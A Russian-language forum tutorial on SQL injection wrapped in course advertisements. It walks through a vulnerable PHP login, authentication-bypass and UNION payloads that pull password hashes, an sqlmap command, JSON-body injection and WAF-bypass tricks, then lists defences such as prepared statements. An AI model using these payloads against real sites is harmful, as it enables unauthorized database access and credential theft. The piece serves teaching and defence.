• 🚨 Ещё можно успеть на курс «OSINT: технология боевой разведки» от Академии Кодебай

    🔍 Изучите методы разведки с использованием открытых источников (OSINT) для проведения успешных атак.
    🛠️ Освойте ключевые инструменты, такие как Maltego, TheHarvester и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальную разведку.
    🧠 Развивайте навыки, которые помогут вам стать экспертом в области информационной безопасности.

    Запись открыта до 23 мая Подробнее о курсе ...

Статья Практическое руководство по эксплуатации уязвимости SQL Injection: от теории до реального кейса

1747988581793.webp


💥 Представьте, что всего одна строка в текстовом поле входа способна обойти всю систему аутентификации и открыть доступ к базе данных сайта. Звучит как кино? Это реальность, и имя ей — SQL Injection.

Введение

SQL Injection — одна из самых опасных и распространённых уязвимостей в веб-приложениях. Несмотря на то, что о ней говорят уже больше 20 лет, до сих пор тысячи сайтов остаются уязвимыми.

В этой статье мы разберём:
  • Как работает SQL-инъекция на примере уязвимого веб-приложения.
  • Практическую эксплуатацию с использованием Python и SQLmap.
  • Как защититься от таких атак.
  • Современные техники обхода WAF и сложные кейсы.
Если вы занимаетесь пентестом или веб-разработкой — этот материал поможет вам глубже понять механизмы атаки и защиты.

Как работает SQL Injection?

SQL-инъекция возникает, когда приложение некорректно обрабатывает пользовательский ввод, позволяя злоумышленнику внедрить произвольный SQL-код.

Пример уязвимого PHP-кода:
PHP:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
Если ввести admin' -- в поле username, запрос превратится в:
SQL:
SELECT * FROM users WHERE username='admin' --' AND password='...'
Комментарий -- отключает проверку пароля, и злоумышленник получает доступ к аккаунту администратора.

Эксплуатация SQL-инъекции на практике

Рассмотрим реальный кейс с уязвимым сайтом (используем легальный стенд, например, или ).

1. Установка DVWA (для новичков)​

  1. Скачайте DVWA с .
  2. Установите XAMPP или LAMP для локального сервера.
  3. Разместите файлы DVWA в папке htdocs (или аналогичной).
  4. Настройте базу данных в config.inc.php.
  5. Запустите сервер и откройте DVWA в браузере.

2. Обнаружение уязвимости​

Проверим форму входа на SQL-инъекцию:
  • Вводим ' — если появляется ошибка SQL, уязвимость есть.
  • Пробуем ' OR 1=1 -- — если авторизация проходит, инъекция подтверждена.

3. Извлечение данных с помощью UNION-атаки​

Если приложение выводит результаты запроса, можно использовать UNION для получения данных из других таблиц.

Пример запроса:
SQL:
' UNION SELECT username, password FROM users --
В ответе могут оказаться хэши паролей, которые затем можно взломать через или .

4. Автоматизация с помощью SQLmap​

Для ускорения тестирования используем SQLmap:
Bash:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --dbs
Объяснение флагов:
  • -u — URL-адрес цели.
  • --data — данные POST-запроса.
  • --dbs — извлечение списка баз данных.

5. Современные техники: SQLi в REST API и обход WAF​

SQLi в REST API
Если приложение использует JSON, инъекцию можно внедрить в тело запроса:
JSON:
{
  "username": "admin' OR 1=1 --",
  "password": "password"
}
Обход WAF
Для обхода WAF можно использовать:
  • Модификацию ключевых слов:
    SQL:
    SELSELECTECT * FROM users WHERE username='admin'
  • Каскадные запросы:
    SQL:
    '; SELECT * FROM users WHERE '1'='1

Рекомендуемые материалы по SQL Injection на Codeby.net

  1. CTF: Решаем SQL Injection задания
    Практический разбор SQLi-задач с использованием SQLmap и ручных техник. Подходит для подготовки к CTF и отработки навыков на легальных стендах.
  2. SQL-injection, Error Based - XPATH
    Разбор инъекций через функции extractvalue() и updatexml() в MySQL, с примерами и объяснением механизмов.
  3. SQL Injection: обсуждение и вопросы
    Форумная тема с обсуждением различных техник SQL-инъекций, включая Boolean-based и обход фильтров, с примерами запросов и советами от участников.

Как защититься от SQL Injection?

  • Используйте подготовленные выражения (Prepared Statements)
    PHP:
    $stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
  • Применяйте ORM (например, SQLAlchemy, Django ORM)
    ORM автоматически экранируют запросы, предотвращая инъекции.
  • Ограничивайте права БД
    У приложения не должно быть прав на DROP TABLE или UNION SELECT.
  • Используйте WAF (например, ModSecurity)
    WAF помогает блокировать известные шаблоны атак.
  • Проверяйте ввод данных
    Используйте whitelisting (разрешение только ожидаемых значений).
SQL Injection остаётся серьёзной угрозой, но её можно избежать, следуя best practices. Если вы тестируете свои приложения — обязательно проверяйте их на уязвимости, а если разрабатываете — всегда используйте параметризованные запросы.

FAQ

❓ Как тестировать SQLi легально?
Только на своих приложениях или через bug bounty (например, на HackerOne).

❓ Какие ещё есть виды SQL-инъекций?
Слепые (Blind SQLi), основанные на времени (Time-Based) и ошибках (Error-Based).

❓ Как обнаружить слепую SQLi?
Через условные ошибки или задержки ответа (например, SLEEP(5)).

❓ Какие ORM лучше защищают от SQLi?
Django ORM, SQLAlchemy и Hibernate автоматически экранируют запросы.

❓ Можно ли защититься только с помощью WAF?
Нет, WAF помогает, но не заменяет безопасный код.

Хотите глубже разобрать техники SQL-инъекций и научиться использовать их профессионально?

На курсе «SQL Injection: от сканирования до эксплуатации» от Codeby Academy вы:

✅ Освоите 20+ техник SQLi (Classic, Blind, Time-based, Error-based, Out-of-Band)
✅ Научитесь автоматизировать атаки с SQLmap и писать свои payload’ы
✅ Получите практику на легальных стендах и CTF-задачах
✅ Разберёте методы обхода WAF и эксплуатации SQLi в API

Старт ближайшего потока — 23 июня.

Попробуйте повторить атаку на DVWA и поделитесь результатами в комментариях! 💬👇
 
Последнее редактирование:
  • Нравится
Реакции: Luxkerr
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD